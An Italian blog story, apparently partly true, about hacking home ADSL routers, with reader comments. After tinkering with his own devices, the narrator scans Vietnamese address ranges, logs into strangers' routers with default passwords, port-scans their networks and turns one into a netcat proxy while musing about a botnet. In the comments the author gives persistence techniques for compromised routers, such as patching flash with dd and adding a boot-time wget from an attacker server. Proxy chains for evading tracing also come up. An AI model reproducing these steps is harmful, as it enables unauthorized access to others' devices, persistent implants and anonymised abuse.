Router Odissey

Era una delle prime giornate di Settembre. Camminando per strada un vento fresco sbatteva contro la pelle non ancora coperta, scatenando brividi leggeri. A Luca questa sensazione é sempre piaciuta, insieme all’aria nuova che questo periodo porta con sé. “Anche qui in città l’aria sembra più frizzante…”, pensò, e sorrise perché questi piccoli cambiamenti lo mettevano di buon umore. Era questo il mese migliore da passare in città: l’estate volge al termine insieme all’afa e alla sensazione di essere perennemente sudati, lasciando il posto a giorni più miti in cui anche l’energia e l’entusiasmo sembrano tornare.

A volte anche oggetti banali possono nascondere segreti interessanti…

“Devo procurarmi un altro router adsl, altrimenti mi sento tagliato fuori…” Il giorno prima, vinto dalla noia e dalla curiosità aveva deciso di esplorare più a fondo il suo router. Forse non sapete che la maggior parte dei ‘networked devices’ in commercio, tra cui router, modem e addirittura alcune stampanti utilizzano come sistema operativo una qualche versione alleggerita di Linux o di NetBSD. Probabilmente se vi venisse voglio di eseguire una scansione con Nmap del vostro modem adsl ricevereste un output simile a questo:

Starting Nmap 4.76 ( http://nmap.org ) at 2009-02-01 15:35 CET
Interesting ports on 192.168.1.1:
Not shown: 995 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
80/tcp   open  http
5431/tcp open  unknown
Device type: Router|WAP
Running: Linux 2.4.X
OS details: Linux 2.4.20 - 2.4.24
Network Distance: 1 hop

Questo era ciò che diceva Nmap riguardo al suo vecchio modem. Era un Trust MD-5700, con funzionalità di access point wireless. Luca aveva già dato un’occhiata all’interfaccia web per configurare la sua connessione adsl e la rete locale, quindi adesso si diresse deciso verso la porta 22. Telnet non gli piaceva: oltre a essere estremamente insicuro per la mancanza di cifratura aveva la fastidiosa abitudine di trasmettere carattere per carattere, rendendo le sessioni testuali simili a una partita all’ultimo titolo della EA su una vecchia GeForce 2.

ssh root@192.168.1.1

Dopo la solita richiesta del client ssh riguardo al fingerprint della chiave del nuovo host, lo accolse la shell fornita da BusyBox. “Cominciamo a dare un’occhiata in giro…”

BusyBox v0.61.pre (2005.05.30-08:31+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

“Per prima cosa ho bisogno di sapere alcune informazioni sul kernel usato e sull’architettura del processore.”

# ls
bin etc proc usr dev lib sbin var

“Sembra che il filesystem proc sia montato, vediamo se é in grado di darmi le informazioni che voglio”

# cat /proc/version
Linux version 2.4.17_mvl21-malta-mips_fp_le (guest1@localhost) (gcc version 2.95.3
20010315 (release/MontaVista)) #1 Thu Mar 25 18:10:36 CST 2004
# cat /proc/cpuinfo
processor               : 0
cpu model               : AR7 V1.0
BogoMIPS                : 203.81
wait instruction        : no
microsecond timers      : yes
extra interrupt vector  : yes
hardware watchpoint     : yes
VCED exceptions         : not available
VCEI exceptions         : not available

“Vediamo… La versione di Linux é MontaVista!”. MontaVista é una distribuzione commerciale per dispositivi embedded che sta risquotendo un notevole successo. Sul sito http://www.mvista.com/ non é disponibile molta documentazione. Si può richiedere un live cd per la valutazione dei prodotti, contenente anche un ide basato su Eclipse per lo sviluppo embedded, DevRocket. “Sarebbe interessante provare averne una copia, ma qui in Italia non so in quanto tempo arriverà il cd, se arriverà”.

Il processore era un AR7, con architettura MIPS. Naturalmente, su questi sistemi, BusyBox e gli altri programmi utilizzano uclib, una libc più leggera della classica glibc. “Sarebbe divertente se potessi far girare alcuni miei programmi sul router; non so, anche un semplice client IRC, giusto per il gusto di farlo… “ Dopo una breve ricerca con google, e qualche download inutile (binari compilati per vecchie versioni di Linux, non compatibili con le attuali), trovò http://www.uclibc.org/downloads/binaries/ , da dove é possibile scaricare diversi toolchain per la cross-compilazione verso svariate architetture. Luca scaricò cross-compiler-mipsel.tar.bz2.

Come rompere un router, in pochi, semplici passi…

Dopo aver scompattato l’archivio si ottiene una directory con all’interno i tools necessari. Gcc, objdump, e svariati altre utility erano li in attesa che qualcuno le utilizzasse per compilare qualcosa. “Vediamo… Potrei cominciare con il fare il porting di un programma già esistente, ma che sarebbe utile far girare su un networked device… Si, perché no?” Indirizzò il suo browser verso l’indirizzo netcat.sourceforge.net. “Netcat non é un programma che utilizza librerie particolari, anche l’ultima versione dovrebbe andar bene.”

Una volta scompattato anche netcat Luca guardo con un po’ di disappunto il contenuto della directory creata. “Uff, utilizza gli autotools. Speriamo che sia possibile compilare il programma anche senza.” Passò alla cartella dei sorgenti, c’erano qualche file .c e qualche header. “Proviamo con una compilazione standard.”

mipsel-gcc *.c -o nc

Il compilatore si lamentò del fatto che nel file misc.h VERSION non era definito. Luca aggiunse una definizione personalizzata:

#define VERSION "v 7.0 MIPSle, by TheRouterHacker"

Questa volta la compilazione andò a buon fine, a parte qualche warning per la mancanza delle “random routines”. Non che fosse importante… Luca tornò alla sessione ssh. Scaduto il tempo il router lo aveva disconnesso, quindi provide a riautenticarsi. Era venuto il momento di testare il suo esperimento.

Per esigenze di aggiornamento firmware quasi tutti i router basati su un sistema *nix includevano alcuni strumenti standard per lo scaricamento di file o l’upload di file, infatti sia wget che un client tftp erano pronti per essere usati. “Non ho voglia di mettere su un server web per il trasferimento di un singolo file, vediamo se mi ricordo ancora qualche trucchetto con tftp.”

pc# netwox 167 -r netcat/src/
router# cd /var/tmp && tftp -g nc 192.168.1.5

Netwox é un programmino che a volte può tornare utile. Include circa 200 funzioni, e la 167 é un piccolo server tftp; soluzione semplice e veloce… Sul router dovette cambiare directory perché solo il ramfs /var é scrivibile, il resto é montato read-only come squashfs. Il problema é che le modifiche spariscono dopo un riavvio del dispositivo, ma per adesso questo non é importante.

router# chmod +x nc
router# ./nc -h
GNU netcat v 7.0 MIPSle, by TheRouterHacker, a rewrite of the famous networking tool.
Basic usages:
connect to somewhere:  ./nc [options] hostname port [port] ...
listen for inbound:    ./nc -l -p port [options] [hostname] [port] ...
tunnel to somewhere:   ./nc -L hostname:port -p port [options]

Mandatory arguments to long options are mandatory for short options too.
Options:
  -c, --close                close connection on EOF from stdin
  -e, --exec=PROGRAM         program to exec after connect
  -g, --gateway=LIST         source-routing hop point[s], up to 8
  -G, --pointer=NUM          source-routing pointer: 4, 8, 12, ...
  -h, --help                 display this help and exit
  -i, --interval=SECS        delay interval for lines sent, ports scanned
  -l, --listen               listen mode, for inbound connects
  -L, --tunnel=ADDR : PORT   forward local port to remote address
  -n, --dont-resolve         numeric-only IP addresses, no DNS
  -o, --output=FILE          output hexdump traffic to FILE (implies -x)
  -p, --local-port=NUM       local port number
  -r, --randomize            randomize local and remote ports
  -s, --source=ADDRESS       local source address (ip or hostname)
  -t, --tcp                  TCP mode (default)
  -T, --telnet               answer using TELNET negotiation
  -u, --udp                  UDP mode
  -v, --verbose              verbose (use twice to be more verbose)
  -V, --version              output version information and exit
  -x, --hexdump              hexdump incoming and outgoing traffic
  -w, --wait=SECS            timeout for connects and final net reads
  -z, --zero                 zero-I/O mode (used for scanning)

Remote port number can also be specified as range.  Example: '1-1024'

Luca sorrise, “Funziona! Non mi resta che vedere le altre funzionalità e programmi già presenti sul router e farmi venire qualche buona idea. In fondo non ho voglia di reinventare la ruota, e poi devo conoscere meglio l’ambiente in cui andrò a programmare…”

Eccoci di nuovo a oggi.

“Accidenti, potevo non giocherellare con i tool della Texas Instruments per la configurazione del firmware! Ora il router é andato e naturalmente la Trust non documentazione veramente utile…”

Riposa In Pace

Riposa In Pace

NDA: In effetti fin qui la storia é basata su fatti realmente accaduti. Purtroppo il Router é andato in pensione prima del tempo, e a dire la verità non ho ancora ben capito cosa ha provocato i danni alla memoria flash. Questi dispositivi sono abbastanza delicati, quindi evitate di eseguire comandi o azioni di cui non conoscete perfettamente il funzionamento. Adesso il router é accessibile solo tramite adam2 (http://www.beyondlogic.org/nb5/ADAM2_bootloader.htm), quindi se qualcuno con lo stesso modello vuole aiutarmi ad aggiustarlo (dovrebbero servirmi solo alcuni valori di configurazione) può mandarmi una mail…

“Eccoci arrivati!”, pensò Luca. L’insegna di PrCant, il suo spaccio hardware di fiducia, lo invitava ad entrare. Era amico col titolare del negozio da qualche anno, e avevo svolto diversi lavori per lui, facendosi perlopiù pagare in natura (un consiglio per i rivenditori di hardware. Se avete bisogno dell’aiuto di qualche geek informatico, avete mai provato a offrirgli i giocattolini che vendete al posto del denaro? La reazione potrebbe sorprendervi).

“Come mai da queste parti? Cosa hai distrutto questa volta?”, il titolare conosceva le tendenze di Luca. “Hei, non scherzare! Comunque questa volta non é stata colpa mia ;). “Si, come no… Comunque a me non interessa, altrimenti non ti vedrei così spesso nel mio negozio. Da solo costituisci il 30% del mio business!” e fece l’occhiolino a Luca che già si dirigeva allo scaffale dei Modem adsl.

Scelse un DSL-2542B, uno degli ultimi modelli D-Link. L’apparecchio era molto più potente del precedente e il prezzo non era eccessivo. Oltre al fatto che i prodotti D-Link sono ampliamente documentati e modificati dalla comunità open source.

Il DSL-2542B in tutto il suo splendore

Il DSL-2542B in tutto il suo splendore

Di nuovo a casa…

“Diamo un’occhiata al nuovo Router…”

Main Menu

1.  ADSL Link State
2.  LAN
3.  WAN
4.  DNS Server
5.  Route Setup
6.  NAT
7.  Firewall
8.  Quality Of Service
9.  Management
10. Passwords
11. Diag
12. Reset to Default
13. Save and Reboot
14. Exit
 ->

“Umm… Mi appare questo menù. Le opzioni le conosco già perché sono quelle dell’interfaccia web.”

 -> foo
foo: not found

Hit <enter> to continue

“Provando a inserire una parola a caso mi dice che il file non é presente. Vuoi vedere che…”

 -> sh
app: sh

BusyBox v1.00 (2008.01.04-02:23+0000) Built-in shell (msh)
Enter 'help' for a list of built-in commands.

#

“Bene, ora ho la mia shell. Busybox sembra molto più recente rispetto al Trust. Vediamo meglio le caratteristiche del sistema”

# cat /proc/version
Linux version 2.6.8.1 (jenny@FD5) (gcc version 3.4.2) #1 Fri Jan 4 10:19:37 CST 2008
# cat /proc/cpuinfo
system type             : 96338W
processor               : 0
cpu model               : BCM6338 V1.0
BogoMIPS                : 239.20
wait instruction        : no
microsecond timers      : yes
tlb_entries             : 32
extra interrupt vector  : yes
hardware watchpoint     : no
unaligned access                : 4551171
VCED exceptions         : not available
VCEI exceptions         : not available

“Wow. Rispetto al vecchio router é un bel passo avanti! Ci gira anche un Kernel 2.6!”,  infatti la maggior parte dei device in commercio utilizza un Kernel 2.4.x. “Con questo si che mi posso divertire… Umm… Forse é meglio evitare di rompere subito anche questo modem, dovrei prima fare pratica con qualcosa di sacrificabile…” Dopo qualche secondo un sorriso maligno gli comparì sul volto.

Router discovery

“Ho bisogno di trovare un router che offra un interfaccia a linea di comando accessibile via internet e che faccia girare Linux. Ormai questi dispositivi vengono tutti configurati tramite interfaccia web, quindi potrei usare uno scanner di server web…” Luca si ricordò di un programma rilasciato di recente che faceva proprio quello che gli serviva. Il programma era HttSquash rilasciato insieme alla suite di strumenti Complemento, di cui ora era disponibile anche un’interfaccia grafica. Scaricò e compilò il programma. “Bene, ora devo solo decidere su che reti fare la scansione”. Optò per reti vietnamite: di sicuro non ci sono accordi per l’espatrio dei criminali… “Ok, range ip 123.20.1.1-255, porta 80 e secondi 2. Iniziamo la scansione… “

Risultato della scansione

Risultato della scansione

“Accidenti, su queste reti c’é di tutto! Telecamere di sorveglianza, router, stampanti… E sono tutte accessibili al di fuori della rete locale, esposte a ogni genere di attacco. Di certo in alcuni paesi asiatici non si é ancora sviluppata una certa consapevolezza dei rischi.”

NDA: In effetti questo é vero. Alcuni paesi del mondo sono una vera manna per chi vuole creare botnet e quant’altro perché le misure di sicurezza, specie per le piccole aziende e per gli utenti domestici, sono qualcosa di sconosciuto. In questo caso vediamo una gran quantità di networked devices accessibili via internet. Ma se ci si riesce a far girare programmi sopra, che differenza rimane tra un router e un computer infetto? La differenza di potenza della cpu? In questi casi non é richiesta…

“Non mi resta che tentare con qualcosa di banale, vediamo se hanno cambiato le password di default…” E dopo uno, due, tre e quattro dispositivi che non apponevano la minima resistenza Luca pensò “Questo posto é una miniera d’oro! Potrei semplicemente portare un programma per il controllo remoto su questi dispositivi e avrei la mia botnet personale: é come rubare caramelle a un bambino!” Ma, Luca non era il tipo interessato a queste cose, preferiva sperimentare solamente con la programmazione senza rischiare di rendere inutilizzabile il suo hardware. Comunque sperimentò lo stesso qualche trucchetto con netcat.

“Proviamo con una scansione della rete locale”

# ping 192.168.1.5
PING 192.168.1.5 (192.168.1.5) 56(84) bytes of data.
64 bytes from 192.168.1.5: icmp_seq=1 ttl=64 time=0.095 ms
64 bytes from 192.168.1.5: icmp_seq=2 ttl=64 time=0.080 ms
...

“Bene questo host é attivo. Scarichiamo netcat con tftp e proviamo le sue funzionalità di port scanning”

 # ./nc -z -v 192.168.1.5 1-1000
(UNKNOWN) [192.168.1.5] 135 (loc-srv) open
(UNKNOWN) [192.168.1.5] 445 (microsoft-ds) open
(UNKNOWN) [192.168.1.5] 5000 (?) open

“Hehe, sembrerebbe un sistema windows. Potrei usare la funzionalità di port forwarding per connettermi a un host interno, e dalle porte che ho visto magari ci sono delle condivisioni accessibili con Samba. Ma ho in mente di meglio…” E digitò:

# ./nc -p 4444 -L whatismyipaddress.com:80

Poi puntò il suo browser all’indirizzo del router, porta 4444. Questo é ciò che ottenne:

General Information

    Hostname: 123.20.1.4
    ISP: VietNam Post and Telecom Corporation
    Organization: Ho Chi Minh City Post and Telecom Company (HCMPT)
    Proxy: None detected
    Type: Cable/DSL
    Blacklist:

Geo-Location Information

    Country: Vietnam
    State/Region: 20
    City: Ho Chi Minh City
    Latitude: 10.75
    Longitude: 106.6667
    Area Code:

Geo-Location Map

“Ed ecco a voi un proxy a basso costo e ad alta velocità! Si, la vita é decisamente facile per i cracker…” Ma era quasi ora di cena, e avendo pranzato in maniera frettolosa il suo stomaco si lamentava. “Per oggi basta giocare! Vediamo se mi é rimasto qualcosa di precotto in freezer” e detto questo, premette CTRL+ALT+L e si diresse in cucina.

Advertisement

23 Responses to Router Odissey

  1. crossbower says:

    Vi è piaciuto il racconto? Essendo il primo pubblicato mi piacerebbe ricevere qualche opinione, in modo da rendermi conto se scriverne altri.

    Per chi di voi conosce gli argomenti trattati:
    Come è possibile sfruttare le altre features dei router oggi in commercio per scopi maliziosi. In particolare, come sfruttereste voi queste features:
    - Content Filtering
    - Dynamic DNS Client
    - Impostazioni di rete del router (IP, Server DNS, …)
    - Iptables (accessibile tramite ssh)

  2. Anarazael says:

    L’articolo è molto interessante. Anch’io da tempo sto cercando di smanettare sul mio router Netgear.
    Purtroppo non sono molto esperto di programmazione, cgi script, né di file system compressi e montati in loop.
    Fino ad ora al massimo sono riuscito a mettere qualche programmino in RAM (/var), ma al riavvio ovviamente perdo tutto.
    Mi piacerebbe capire come poter rendere definitive certe modifiche (spazio su flash permettendo) senza stravolgere il firmware.
    Avere netcat installato è condizione necessaria e sufficiente per fare qualsiasi cosa :)
    Ci sarà un motivo se non lo mettono di default!

    Amministro qualche server web, ho visto che generalmente chi tenta di crackarli prova a farmi scaricare da un loro server un programmino precompilato, uno script o talvolta una shell in php. Acquisiti i privilegi di www ed usciti dall’eventuale chroot vorrebbero usarmi per sparare flood a comando.

    Per il discorso delle features la cosa più importante mi sembra il DynDNS, altrimenti perdi le tracce dei router a cui stai dietro.
    Il resto sono tutte cose che puoi modificare anche dall’interfaccia web…

  3. crossbower says:

    Risposta a Anarazael:

    Sei il primo a lasciare un commento sul mio blog!

    Allora, per il client DynDNS hai ragione, in quanto ti consente di non perdere il router quando si disconnette. Sto facendo alcuni esperimenti per vedere se se ne puo’ fare un utilizzo un po’ piu’ avanzato, ma per ora sene solo idee…

    Per quanto riguarda il salvataggio di programmi nella flash del router ci sono diversi modi.

    Per prima cosa partiamo dal presupposto che sul router siano presenti dd e un client come wget o tftp (nel 99% dei casi é cosi).

    I router hanno di solito la flash strutturata in diverse partizioni. Sul mio ad esempio la situazione e questa:

    # ls /dev/mtd*
    /dev/mtdblock0 /dev/mtdblock2 /dev/mtdblock4
    /dev/mtdblock6 /dev/mtdblock1 /dev/mtdblock3
    /dev/mtdblock5 /dev/mtdblock7

    Ognuna di queste “partizioni” é utilizzata per uno scopo diverso: le prime contengono il firmware e il software, le altre le configurazioni.

    Possibilità:
    1) Usare dd per patchare un binario salvato sulla flash. Si fa un dump della partizione e la si scarica sul proprio pc. Si disassembla il dump e, mantenendo le dimensioni!, si patchano i binari in esso contenuti per modificarne il funzionamento.

    2) Utilizzare lo spazio libero della partizione o sostituire i binari nella partizione. Stesso procedimento di prima, solo che viene modificata un’intera zona del dump in cui viene scritto il nostro programma. Tecnica molto rischiosa e non sempre effettuabile.

    3) Modificare lo script di avvio. Quasi tutti i router basati su Linux eseguono uno script di avvio dopo aver caricato il firmware. Di solito é /etc/init.d/rcS. Questo script contiene commenti, che noi possiamo sostituire con comandi del tipo:
    wget http://www.nostroserver.org/programma /var/programma
    in modo che ad ogni avvio provveda a scaricare i programmi dal nostro server e a posizionarli in /var. Questa a mio parere é la tecnica meno rischiosa, basta solo essere attenti quando si modifica lo script (si bisogna lo stesso usare dd, ma il vantaggio é che i dati che andiamo a scrivere sono testuali)

    Voi conoscete qualche altra tecnica (a parte cambiare il firmware naturalmente)?

  4. Anarazael says:

    Ok, ho fatto un dd della partizione che mi interessa, l’ho messo in /tmp, ho lanciato un nuovo processo di mini_httpd sulla porta 81 con directory base /tmp ed ho uplodato il tutto.
    Ho montato il file e lo sto esplorando.
    A questo punto il dilemma: come faccio a cross-compilare per mips? Forse buildroot potrebbe fare al caso mio, l’hai mai provato?

  5. Banezirol says:

    Ciao crossbower,
    Su ke server&channel di irc ti trovo?

  6. crossbower says:

    Per Anarazael:
    Io nell’articolo ho utilizzato questa toolchain:
    http://www.uclibc.org/downloads/binaries/cross-compiler-mipsel.tar.bz2
    Non mi e’ capitato di utilizzare buildroot. Non so se stiamo parlando della stessa cosa, ma dovresti dirmi qual e’ il tuo obbiettivo. Che genere di programma devi compilare?

    Per Banezirol:
    Non vado quasi mai in chat. Se vuoi parlarmi preferirei essere contattato via mail. Altrimenti dimmi tu un orario e un canale.

  7. Banezirol says:

    Nel caso in cui trovo una shell busybox ma non ho il comando ls.. è normale? come si fa ad esplorare il file system..E per il metodo dello script(/etc/init.d/rcS)ci sarebbe un editor? oppure facciamo un down – modifico – up del file? Infine per il client dyndns.. dovremmo adottare la tecnica dello script all’avvio?

    ps:vai forte!!!
    pps:questa è l’email corretta ;-)

  8. crossbower says:

    Per Banezirol:

    > Nel caso in cui trovo una shell busybox ma non ho il comando ls..
    Per questo e’ necessario un vecchio trucco, prova con:
    $ echo *
    Di solito qualsiasi shell supporta le wildcards

    > E per il metodo dello script(/etc/init.d/rcS)ci sarebbe un editor?
    Il dump e’ sempre necessario, ma non dovrebbe essere troppo difficile modificarne le parti testuali con un editor esadecimale. A meno che il file non sia compresso; in quel caso le cose si complicano troppo e torniamo ai metodi 1) e 2)

    ps: grazie

  9. Banezirol says:

    “echo *” funziona!!!Ora ho capito perchè è necessario il dump..poichè il filesystem è in sola lettura??correggi se sbaglio..ma come faccio a farlo se non ho un dd..ah si giusto lo installo in /var faccio il dump.. scarico il tutto e modifico il file con editor esadecimale.. ma poi devo ributtare su il tutto.. è possibile farlo con dd??

    ps:la tua email?

  10. crossbower says:

    La mia email é crossbower gmail.com

    Si devi farlo con dd.
    Di solito dd o uno strumento simile é sempre presente sul router. Naturalmente puoi sempre uploadarlo tu.

    Attenzione pero’ ad usarlo, perché si rischia di rendere inutilizzabile il modem, se il dump viene danneggiato o vengono sovrascritte parti importanti.

    Ti consiglio prima di effettuare operazioni potenzialmente pericolose di verificare se qualcuno le ha gia fatte prima. Prova a cercare nei forum dedicati all’hardware hacking il modello del tuo router.

    ANNUNCIO: Come il mio ultimo post dice, saro’ via per una settimana a partire da domani, quindi probabilmente non potro’ moderare il blog. Fate i bravi ;-)

  11. ethack says:

    salve carissimo, articolo molto interessante, io sono in possesso del router in questione l’MD5700 vorrei cambiare il software di gestione quello della trust non mi piace credete sia possibile?? grazie a presto

  12. Pingback: Exploiting Arm Linux Systems « Security Adventures

  13. Pingback: Exploiting Arm Linux Systems « Security Adventures

  14. crossbower says:

    Salve.

    Per quanto ne so non esistono firmware alternativi per quel modello della trust. Ti consiglio di rimanere con quello, a meno che tu non abbia esigenze di configurazione molto particolari… Se questo é il caso potresti provare a utilizzare la shell del router (ad esempio per impostare manualmente le regole di iptables).

    • marco says:

      Ciao, complimenti per l’articolo.
      Volevo chiederti un’info se ho una busybox con queste caratteristiche che tool devo usare per effettuare la croos compilazione di alcuni programmi che non sono implementati di default?

      BusyBox v1.13.4 (2009-05-21 14:56:01 CST) multi-call binary
      Copyright (C) 1998-2008 Erik Andersen, Rob Landley, Denys Vlasenko
      and others. Licensed under GPLv2.

      Linux version 2.6.14 (winging@RD2Server228) (gcc version 3.4.4) #434 Thu Dec 16 11:26:06 CST 2010

      Processor : FA626TEid(wb) rev 1 (v5l)
      BogoMIPS : 536.57
      Features : swp half thumb
      CPU implementer : 0×66
      CPU architecture: 5TE
      CPU variant : 0×0
      CPU part : 0×626
      CPU revision : 1
      Cache type : write-back
      Cache clean : cp15 c7 ops
      Cache lockdown : format B
      Cache format : Harvard
      I size : 32768
      I assoc : 4
      I line length : 32
      I sets : 256
      D size : 32768
      D assoc : 4
      D line length : 32
      D sets : 256

      Hardware : Faraday GM8181
      Revision : 818121d0
      Serial : 0000000000000000

  15. crossbower says:

    Ciao Marco,

    Dalle caratteristiche che hai postato il processore utilizza l’architettura ARM, e dai bogomips sembra anche molto potente per essere montato su un router o un apparecchio embedded. Questo é ottimo perche’ ci puoi far girare piu’ roba e con meno sforzi…

    Comunque, non conosco esattamente il set di istruzioni implementato nel processore, ma penso che puoi utilizzare la stessa toolchain che ho usato io:
    http://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2

    In alternativa puoi provare le varie toolchains ARM presenti in questa directory:
    http://www.uclibc.org/downloads/binaries/0.9.30.1/ (http://www.uclibc.org/downloads/binaries/versione_attuale/)

    Decomprimendo il pacchetto ti ritroverai un ambiente di programmazione per C/C++ e Assembly, basato su gcc e le uclib. Ti consiglio di includere staticamente le librerie nel binario, per non avere problemi di sorta.

    Ciao ;)

    • marco says:

      Ciao ti ringrazio per la risposta faccio un po’ di prove e vediamo cosa riesco a fare, in effetti non è un router ma un HDR

  16. marco says:

    Ho provato a compilare netcat come nel tuo esempio con mipsel però quando lo eseguo sulla busybox mi da’ questo errore:
    ./nc: line 1: syntax error: “(” unexpected
    può essere il toolchain che non va bene o ho sbagliato io qualcosa?

    • crossbower says:

      A prima vista non mi sembra sia un errore di compilazione, o della toolchain. Non posso dirti molto non avendo il dispositivo a portata di mano, ma puoi fare un check confrontando i binari presenti sul tuo apparecchio con quelli compilati da te.

      Esempio:
      sul-tuo-pc$ file nc
      nc: ELF 32-bit LSB executable, ARM, version 1, statically linked, for GNU/Linux 2.4.0, not stripped

      Cio’ che hai compilato tu dovrebbe avere un output simile a questo. Poi lanci il comando file su un binario del dispositivo (es: ls, cat, sh,… i vari inclusi in busybox) e li confronti.
      Se le due architetture sono compatibili il problema é da un’altra parte.

  17. marco says:

    L’output di cat della busybox è questo:
    cat: ELF 32-bit LSB executable, ARM, version 1, dynamically linked (uses shared libs), stripped
    se non sbaglio dovrei usare un toolchain per ARM, ho provato quelli del sito da te indicati armv4l e armv5l ma non vanno, quando provo ad eseguire il file mi dice “nc: not found” adesso provo a cercare altri tool vedo se trovo qualcosa

    • marco says:

      come non detto, mi sono dimenticato di lincare in modo statico, ora va. Volevo chiederti ancora una cosa, se faccio girare un server proxy su di un dispositivo remoto è sicuro al 100% o si può cmq risalire a me?

      • crossbower says:

        Hehe, stavo quasi per ripetertelo… Sullo static linking ci siamo cascati tutti ;)

        Per il resto, premessa: Non fare niente di illegale, perche’ questo blog non lo incoraggia.

        Le catene di proxy, con proxy in stati diversi (magari stati che non hanno accordi di condivisione informazioni) sono usate dai criminali, ed é lungo e tedioso risalire al colpevole (e a volte non possibile alla polizia per problematiche legali).

        In ogni caso é da tenere presente che i vari provider e ISP mantengono log delle connessioni, anche per diversi anni. Quindi puo’ essere possibile tracciare le connessioni all’indietro.

        La vera domanda é: Quanto costa eseguire questo tipo di indagine? Quanti proxy sono stati utilizzati? In che stati risiedono questi proxy?

        Il tutto naturalmente IMHO.

  18. marco says:

    Ciao, ti stresso ancora un po’ :) ho provato a caricare dei file sul mio router e tutte le volte questo si riavvia, sai quale potrebbe essere il motivo?

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Connecting to %s

Follow

Get every new post delivered to your Inbox.